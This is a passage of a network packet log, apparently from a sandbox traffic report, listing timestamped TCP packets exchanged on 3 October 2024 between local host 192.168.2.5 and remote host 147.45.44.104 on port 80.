Oct 3, 2024 15:07:08.012809992 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012824059 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012836933 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012851000 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012856960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012871981 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012886047 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012898922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012907028 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012912989 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012928009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012945890 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012978077 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012979984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013003111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013015985 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013031960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013045073 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013055086 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013060093 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013073921 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013087988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013089895 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013102055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013114929 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013118029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013132095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013134956 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013147116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013160944 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013174057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013175011 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013189077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013204098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013211966 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013220072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013233900 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013237953 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013247967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013262033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013263941 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013283014 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013288021 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013303041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013315916 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013319969 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013330936 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013356924 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013375998 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013698101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013711929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013725996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013739109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013751984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013760090 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013775110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013781071 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013789892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013804913 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013818979 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013819933 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013833046 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013840914 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013848066 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013861895 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013875008 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013889074 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013894081 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.013902903 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.013931036 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.014219046 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014234066 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014247894 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014261961 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014269114 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.014276028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014291048 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014297009 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.014307022 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014328003 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014336109 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.014342070 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014355898 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014358997 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.014370918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014384031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014394045 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.014398098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014431000 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.014455080 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.014734030 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014750004 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.014797926 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.073887110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.073905945 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.073928118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.073941946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.073965073 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.073980093 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.073983908 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.073993921 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.074040890 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.074055910 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.074069023 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.074070930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.074086905 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.074095964 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.074110985 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.074122906 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.074126005 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.074142933 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.074162960 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.074198008 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075465918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075593948 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075609922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075624943 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075638056 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075653076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075656891 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075666904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075670958 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075683117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075696945 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075711012 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075717926 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075727940 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075740099 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075742006 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075757027 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075763941 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075772047 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075784922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075787067 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075799942 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075818062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075834036 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075841904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075855970 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075870037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075871944 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075885057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075895071 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075898886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075913906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075916052 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075928926 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075944901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075953960 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.075990915 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.075992107 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076006889 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076036930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076040983 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076051950 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076066971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076081038 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076087952 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076096058 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076117039 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076117992 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076136112 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076149940 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076152086 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076165915 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076196909 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076235056 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076260090 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076282978 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076296091 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076309919 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076323032 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076328993 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076339006 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076354027 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076359987 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076374054 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076387882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076390028 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076401949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076411009 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076420069 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076441050 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076455116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076463938 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076469898 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076484919 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076498032 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076503038 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076513052 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076528072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076529026 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076546907 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076550961 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076561928 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076569080 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076577902 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076591969 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076606989 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076611042 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076654911 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076669931 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076683998 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076698065 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076710939 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076711893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076728106 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076741934 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076750994 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076756001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076771975 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076790094 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076817036 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076821089 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076836109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076848984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076863050 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076865911 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076877117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076900005 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076904058 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076915026 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076930046 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076940060 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076945066 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076958895 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076976061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.076987028 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.076991081 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077006102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077019930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077028990 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077038050 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077050924 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077056885 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077090979 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077110052 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077126026 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077138901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077152967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077157021 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077167988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077183008 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077208042 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077219009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077233076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077244997 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077248096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077263117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077269077 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077279091 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077292919 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077306986 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.077310085 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077370882 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.077430010 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.161403894 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161457062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161472082 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161504030 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.161611080 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161632061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161647081 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161657095 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.161663055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161679029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161691904 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.161693096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161708117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161722898 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161729097 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.161737919 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161755085 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.161782026 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161797047 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.161802053 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.161864042 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163012981 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163069963 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163084030 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163105011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163114071 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163119078 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163135052 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163150072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163151979 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163182020 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163220882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163235903 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163249016 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163263083 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163264036 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163276911 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163297892 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163325071 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163351059 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163364887 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163379908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163408995 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163424015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163428068 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163439035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163460016 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163461924 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163475990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163490057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163501024 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163505077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163538933 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163558960 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163580894 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163595915 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163609028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163623095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163636923 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163640976 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163664103 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163736105 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163752079 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163765907 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163779974 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163784981 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163794994 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163809061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163814068 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163824081 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163837910 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163858891 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163877964 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163882971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163897991 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163918018 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163927078 CEST	49704	80	192.168.2.5	147.45.44.104
